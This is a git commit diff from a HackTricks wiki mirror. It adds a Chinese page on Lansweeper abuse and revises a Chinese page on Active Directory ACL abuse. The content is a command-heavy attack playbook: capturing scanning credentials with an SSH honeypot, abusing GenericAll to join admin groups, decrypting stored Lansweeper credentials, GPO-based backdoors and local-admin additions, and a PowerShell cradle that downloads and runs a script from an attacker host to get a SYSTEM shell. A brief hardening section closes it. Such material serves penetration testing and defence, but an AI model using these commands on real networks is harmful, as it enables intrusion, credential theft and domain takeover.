mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/lansweep
This commit is contained in:
parent
4ec17ead13
commit
299f265699
@ -284,6 +284,7 @@
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
|
||||
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
|
||||
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
|
||||
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,32 +2,33 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术总结。有关更多详细信息,请查看原始文章。**
|
||||
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**。更多细节请查看原文。**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
|
||||
{{#ref}}
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **用户的 GenericAll 权限**
|
||||
|
||||
此权限授予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认了 `GenericAll` 权限,攻击者可以:
|
||||
该权限赋予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认拥有 `GenericAll` 权限,攻击者可以:
|
||||
|
||||
- **更改目标的密码**:使用 `net user <username> <password> /domain`,攻击者可以重置用户的密码。
|
||||
- **针对性 Kerberoasting**:将 SPN 分配给用户帐户,使其可进行 Kerberoasting,然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解票证授予票证 (TGT) 哈希。
|
||||
- **修改目标密码**:使用 `net user <username> <password> /domain`,攻击者可以重置该用户的密码。
|
||||
- **Targeted Kerberoasting**:将 SPN 分配给该用户账号,使其 kerberoastable,然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解 ticket-granting ticket (TGT) 的哈希。
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: 禁用用户的预身份验证,使其账户容易受到ASREPRoasting攻击。
|
||||
- **Targeted ASREPRoasting**: 禁用该用户的预认证,使其账户易受 ASREPRoasting 攻击。
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll 权限在组上**
|
||||
## **组上的 GenericAll 权限**
|
||||
|
||||
此权限允许攻击者操纵组成员资格,如果他们在像 `Domain Admins` 这样的组上拥有 `GenericAll` 权限。在使用 `Get-NetGroup` 确定组的区分名称后,攻击者可以:
|
||||
如果攻击者对像 `Domain Admins` 这样的组拥有 `GenericAll` 权限,该权限允许他们操作该组的成员资格。在使用 `Get-NetGroup` 确认该组的 distinguished name(DN)后,攻击者可以:
|
||||
|
||||
- **将自己添加到 Domain Admins 组**:这可以通过直接命令或使用像 Active Directory 或 PowerSploit 这样的模块来完成。
|
||||
```bash
|
||||
@ -35,37 +36,45 @@ net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- 从 Linux 上你也可以利用 BloodyAD 在你对某些组拥有 GenericAll/Write 成员资格时将自己添加到任意组中。如果目标组被嵌套到 “Remote Management Users”,你将立即在认可该组的主机上获得 WinRM 访问权限:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
|
||||
# If the target group is member of "Remote Management Users", WinRM becomes available
|
||||
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
拥有计算机对象或用户帐户的这些权限允许:
|
||||
在计算机对象或用户帐户上拥有这些特权可用于:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: 允许接管计算机对象。
|
||||
- **Shadow Credentials**: 使用此技术通过利用创建影子凭据的权限来冒充计算机或用户帐户。
|
||||
- **Kerberos Resource-based Constrained Delegation**: 使得能够接管计算机对象。
|
||||
- **Shadow Credentials**: 使用该技术可以通过利用这些特权创建 shadow credentials 来模拟计算机或用户帐户。
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
如果用户对特定组(例如,`Domain Admins`)的所有对象具有 `WriteProperty` 权限,他们可以:
|
||||
如果用户对某个组(例如 `Domain Admins`)的所有对象具有 `WriteProperty` 权限,他们可以:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: 通过结合使用 `net user` 和 `Add-NetGroupUser` 命令实现,此方法允许在域内提升权限。
|
||||
- **将自己添加到 Domain Admins 组**:通过组合 `net user` 和 `Add-NetGroupUser` 命令可以实现,该方法允许在域内进行 privilege escalation。
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **自我(自我成员)在组中**
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
此权限使攻击者能够通过直接操纵组成员资格的命令将自己添加到特定组,例如 `Domain Admins`。使用以下命令序列可以实现自我添加:
|
||||
该权限使攻击者能够通过直接操作组成员资格的命令将自己添加到特定组,例如 `Domain Admins`。使用以下命令序列可以实现自我添加:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
一个类似的权限,这允许攻击者通过修改组属性直接将自己添加到组中,如果他们在这些组上拥有 `WriteProperty` 权限。此权限的确认和执行通过以下方式进行:
|
||||
类似的权限,如果攻击者对那些组拥有 `WriteProperty` 权利,就可以通过修改组属性直接将自己添加到这些组中。对此权限的确认和执行可以通过以下方式完成:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
持有用户的 `ExtendedRight` 权限以进行 `User-Force-Change-Password` 允许在不知道当前密码的情况下重置密码。可以通过 PowerShell 或其他命令行工具验证此权限及其利用,提供多种重置用户密码的方法,包括交互式会话和非交互式环境中的单行命令。这些命令从简单的 PowerShell 调用到在 Linux 上使用 `rpcclient`,展示了攻击向量的多样性。
|
||||
持有对用户的 `ExtendedRight`(`User-Force-Change-Password`)允许在不知道当前密码的情况下重置密码。可以通过 PowerShell 或其他命令行工具验证并利用此权限,提供多种重置用户密码的方法,包括交互式会话和用于非交互环境的一行命令。可用命令从简单的 PowerShell 调用到在 `Linux` 上使用 `rpcclient` 不等,展示了 attack vectors 的多样性。
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -76,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner 权限在组上**
|
||||
## **WriteOwner 在组上**
|
||||
|
||||
如果攻击者发现他们对一个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力,因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 通过 SID 或名称修改所有者。
|
||||
如果攻击者发现他们对某个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。 当相关组是 `Domain Admins` 时,这尤其具有影响力,因为更改所有者允许对组属性和成员资格进行更广泛的控制。 该过程包括通过 `Get-ObjectAcl` 找到正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者(可以通过 SID 或名称)。
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -86,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
此权限允许攻击者修改用户属性。具体而言,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的。
|
||||
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。该操作通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现。
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
## **GenericWrite(针对组)**
|
||||
|
||||
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用该对象将用户添加或从组中移除,并使用 PowerShell 命令验证成员资格更改。
|
||||
拥有此权限的攻击者可以操纵组的成员资格,例如将自己或其他用户添加到特定组。此过程涉及创建一个 credential object,使用它将用户添加到或从组中移除,并使用 PowerShell 命令验证成员身份的更改。
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -102,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
拥有一个 AD 对象并且对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。
|
||||
拥有 AD 对象并对其具有 `WriteDACL` 权限,可使攻击者为自己授予对该对象的 `GenericAll` 权限。这是通过 ADSI 操纵实现的,允许对该对象进行完全控制并修改其组成员资格。尽管如此,使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 尝试利用这些权限时存在限制。
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -110,66 +119,66 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **在域上的复制 (DCSync)**
|
||||
## **域内复制 (DCSync)**
|
||||
|
||||
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
|
||||
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。该强大技术需要诸如 `DS-Replication-Get-Changes` 的权限,允许攻击者在不直接访问域控制器的情况下从 AD 环境中提取敏感信息。 [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO 委派
|
||||
|
||||
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用以进行恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
被委派管理组策略对象 (GPOs) 的访问权限可能带来重大安全风险。例如,如果像 `offense\spotless` 这样的用户被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等特权。这些权限可以被滥用用于恶意目的,可使用 PowerView 识别: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### 枚举 GPO 权限
|
||||
|
||||
要识别配置错误的 GPO,可以将 PowerSploit 的 cmdlet 链接在一起。这允许发现特定用户有权限管理的 GPO:`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
要识别配置错误的 GPO,可以串联 PowerSploit 的 cmdlet。这可以发现特定用户有权限管理的 GPO: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**应用了给定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**给定策略应用到的计算机**:可以解析特定 GPO 应用于哪些计算机,有助于了解潜在影响范围。 `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用 `Get-DomainGPO` 等命令。
|
||||
**应用于特定计算机的策略**:要查看特定计算机应用了哪些策略,可使用诸如 `Get-DomainGPO` 的命令。
|
||||
|
||||
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 来识别受特定策略影响的组织单位 (OU)。
|
||||
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 来识别受特定策略影响的组织单元 (OUs)。
|
||||
|
||||
您还可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并查找其中的问题。
|
||||
你也可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并发现其中的问题。
|
||||
|
||||
### 滥用 GPO - New-GPOImmediateTask
|
||||
|
||||
配置错误的 GPO 可以被利用来执行代码,例如,通过创建一个立即的计划任务。这可以用来将用户添加到受影响机器的本地管理员组,从而显著提升权限:
|
||||
配置错误的 GPO 可被利用来执行代码,例如通过创建即时计划任务。这可以用于在受影响的机器上将用户添加到本地管理员组,从而显著提升权限:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
GroupPolicy模块(如果已安装)允许创建和链接新的GPO,并设置首选项,例如注册表值,以在受影响的计算机上执行后门。此方法要求更新GPO,并且用户必须登录计算机以执行:
|
||||
如果已安装 GroupPolicy module,它允许创建并链接新的 GPOs,并设置首选项(例如 registry values),以在受影响的计算机上执行 backdoors。此方法要求 GPO 被更新且用户登录到计算机后才会执行:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - 滥用 GPO
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GPO 的方法,而无需创建新的 GPO。此工具需要修改现有 GPO 或使用 RSAT 工具在应用更改之前创建新的 GPO:
|
||||
SharpGPOAbuse 提供了一种滥用现有 GPOs 的方法,通过添加任务或修改设置,无需创建新的 GPOs。该工具需要在应用更改之前修改现有的 GPOs,或使用 RSAT 工具创建新的 GPOs:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### 强制策略更新
|
||||
|
||||
GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
|
||||
GPO 更新通常大约每 90 分钟发生一次。为加快此过程,特别是在实施更改之后,可在目标计算机上使用 `gpupdate /force` 命令以强制立即更新策略。该命令可确保对 GPO 的任何修改在不必等待下一个自动更新周期的情况下生效。
|
||||
|
||||
### 背后的机制
|
||||
### 内部机制
|
||||
|
||||
检查给定 GPO 的计划任务时,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
|
||||
检查某个 GPO(例如 `Misconfigured Policy`)的计划任务时,可以确认已添加像 `evilTask` 这样的任务。这些任务通常通过脚本或命令行工具创建,目的是修改系统行为或提升权限。
|
||||
|
||||
任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体细节,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,提供了一种作为政策执行一部分执行任意命令或脚本的方法。
|
||||
任务的结构在由 `New-GPOImmediateTask` 生成的 XML 配置文件中有所体现,概述了计划任务的具体细节——包括要执行的命令及其触发器。该文件表示了在 GPO 中如何定义和管理计划任务,提供了一种在策略执行过程中运行任意命令或脚本的方法。
|
||||
|
||||
### 用户和组
|
||||
### 用户与组
|
||||
|
||||
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组中,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
|
||||
GPO 还允许操纵目标系统上的用户和组成员资格。通过直接编辑用户与组(Users and Groups)策略文件,攻击者可以将用户添加到特权组,例如本地的 `administrators` 组。通过委派 GPO 管理权限,攻击者得以修改策略文件以包含新用户或更改组成员资格。
|
||||
|
||||
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以在受影响的系统上授予特定用户提升的权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。
|
||||
Users and Groups 的 XML 配置文件说明了这些更改如何实现。通过向该文件添加条目,可以为特定用户授予在受影响系统上的提升权限。此方法通过操纵 GPO 提供了一种直接的权限提升途径。
|
||||
|
||||
此外,还可以考虑其他执行代码或维持持久性的方式,例如利用登录/注销脚本、修改注册表键以实现自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维持访问和控制目标系统的多种途径。
|
||||
此外,还可以考虑其他执行代码或保持持久性的方式,例如利用登录/注销脚本、修改用于自动运行的注册表键、通过 .msi 文件安装软件或编辑服务配置等。这些技术为通过滥用 GPO 来维持访问和控制目标系统提供了多种途径。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
|
||||
@ -0,0 +1,153 @@
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Lansweeper 是一个常见于 Windows 环境并与 Active Directory 集成的 IT 资产发现与清单平台。配置在 Lansweeper 中的凭证被其扫描引擎用于通过 SSH、SMB/WMI 和 WinRM 等协议对资产进行身份验证。错误配置常导致:
|
||||
|
||||
- 通过将扫描目标重定向到攻击者控制的主机(honeypot)被拦截凭证
|
||||
- 滥用由 Lansweeper 相关组暴露的 AD ACLs 以获得远程访问
|
||||
- 在宿主上解密 Lansweeper 配置的 secrets(连接字符串和存储的扫描凭证)
|
||||
- 通过 Deployment 功能在被管理端点上执行代码(通常以 SYSTEM 运行)
|
||||
|
||||
本页总结了在实战中滥用这些行为的实用攻击者工作流和命令。
|
||||
|
||||
## 1) Harvest scanning credentials via honeypot (SSH example)
|
||||
|
||||
思路:创建一个指向你主机的 Scanning Target,并将已有的 Scanning Credentials 映射到该目标。当扫描运行时,Lansweeper 会尝试使用这些凭证进行认证,你的 honeypot 将捕获这些尝试凭证。
|
||||
|
||||
步骤概览(web UI):
|
||||
- Scanning → Scanning Targets → Add Scanning Target
|
||||
- Type: IP Range (or Single IP) = your VPN IP
|
||||
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
|
||||
- Disable schedule and plan to trigger manually
|
||||
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
|
||||
- Click “Scan now” on the target
|
||||
- Run an SSH honeypot and retrieve the attempted username/password
|
||||
|
||||
Example with sshesame:
|
||||
```yaml
|
||||
# sshesame.conf
|
||||
server:
|
||||
listen_address: 10.10.14.79:2022
|
||||
```
|
||||
|
||||
```bash
|
||||
# Install and run
|
||||
sudo apt install -y sshesame
|
||||
sshesame --config sshesame.conf
|
||||
# Expect client banner similar to RebexSSH and cleartext creds
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
针对 DC 服务验证捕获的凭据:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
注意事项
|
||||
- 当你能将扫描器诱导到你的监听器时,对其他协议的做法类似(SMB/WinRM honeypots 等)。SSH 通常是最简单的。
|
||||
- 许多扫描器会用明显的客户端横幅标识自己(例如 RebexSSH),并且会尝试一些无害命令(uname、whoami 等)。
|
||||
|
||||
## 2) AD ACL abuse: 通过将自己添加到应用管理员组来获取远程访问权限
|
||||
|
||||
使用 BloodHound 从被攻陷的账户枚举有效权限。常见发现是某个针对扫描器或应用的组(例如 “Lansweeper Discovery”)对一个特权组(例如 “Lansweeper Admins”)拥有 GenericAll。如果该特权组也是 “Remote Management Users” 的成员,一旦我们将自己添加进去,WinRM 就会可用。
|
||||
|
||||
收集示例:
|
||||
```bash
|
||||
# NetExec collection with LDAP
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
|
||||
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
使用 BloodyAD (Linux) 在组上利用 GenericAll:
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
add groupMember "Lansweeper Admins" svc_inventory_lnx
|
||||
|
||||
# Confirm WinRM access if the group grants it
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
然后获取一个 interactive shell:
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
提示:Kerberos 操作对时间敏感。如果触发 KRB_AP_ERR_SKEW,先与 DC 同步:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) 在主机上解密 Lansweeper 配置的 secret
|
||||
|
||||
在 Lansweeper 服务器上,ASP.NET 站点通常会存储一个加密的连接字符串和应用程序使用的对称密钥。获得合适的本地访问权限后,你可以解密数据库连接字符串,然后提取存储的扫描凭据。
|
||||
|
||||
典型位置:
|
||||
- Web 配置:`C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- 应用程序密钥:`C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
使用 SharpLansweeperDecrypt 来自动化解密并导出存储的凭据:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
|
||||
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# Tool will:
|
||||
# - Decrypt connectionStrings from web.config
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
预期输出包括 DB 连接详情以及明文扫描凭据,例如在整个资产中使用的 Windows 和 Linux 账户。这些账户通常在域主机上具有提升的本地权限:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
使用恢复的 Windows scanning creds 获取特权访问:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
```
|
||||
## 4) Lansweeper 部署 → SYSTEM RCE
|
||||
|
||||
作为“Lansweeper Admins”的成员,web UI 会显示 Deployment 和 Configuration。在 Deployment → Deployment packages 下,你可以创建会在目标资产上运行任意命令的包。执行由 Lansweeper 服务以高权限执行,从而在所选主机上获得以 NT AUTHORITY\SYSTEM 身份运行的代码执行。
|
||||
|
||||
高层步骤:
|
||||
- 创建一个新的 Deployment package,运行 PowerShell 或 cmd 的一行命令(reverse shell、add-user 等)。
|
||||
- 选择目标资产(例如运行 Lansweeper 的 DC/主机),然后点击 Deploy/Run now。
|
||||
- 以 SYSTEM 权限接收你的 shell。
|
||||
|
||||
Example payloads (PowerShell):
|
||||
```powershell
|
||||
# Simple test
|
||||
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
|
||||
# Reverse shell example (adapt to your listener)
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
|
||||
- 部署操作会产生噪音并在 Lansweeper 和 Windows 事件日志中留下日志。谨慎使用。
|
||||
|
||||
## 检测与加固
|
||||
|
||||
- 限制或移除匿名 SMB 枚举。监控 RID cycling 和对 Lansweeper 共享的异常访问。
|
||||
- 出站控制:阻止或严格限制扫描器主机的出站 SSH/SMB/WinRM。对非标准端口(例如 2022)和像 Rebex 这样的异常客户端 banner 发出告警。
|
||||
- 保护 `Website\\web.config` 和 `Key\\Encryption.txt`。将 secrets 外置到 vault 并在暴露时进行轮换。考虑使用最小权限的服务账户和在可行时使用 gMSA。
|
||||
- AD 监控:对与 Lansweeper 相关的组(例如 “Lansweeper Admins”、“Remote Management Users”)的更改触发告警,以及对授予特权组 GenericAll/Write 成员资格的 ACL 更改触发告警。
|
||||
- 审计 Deployment 包的创建/更改/执行;对生成 cmd.exe/powershell.exe 或发起异常出站连接的包发出告警。
|
||||
|
||||
## 相关主题
|
||||
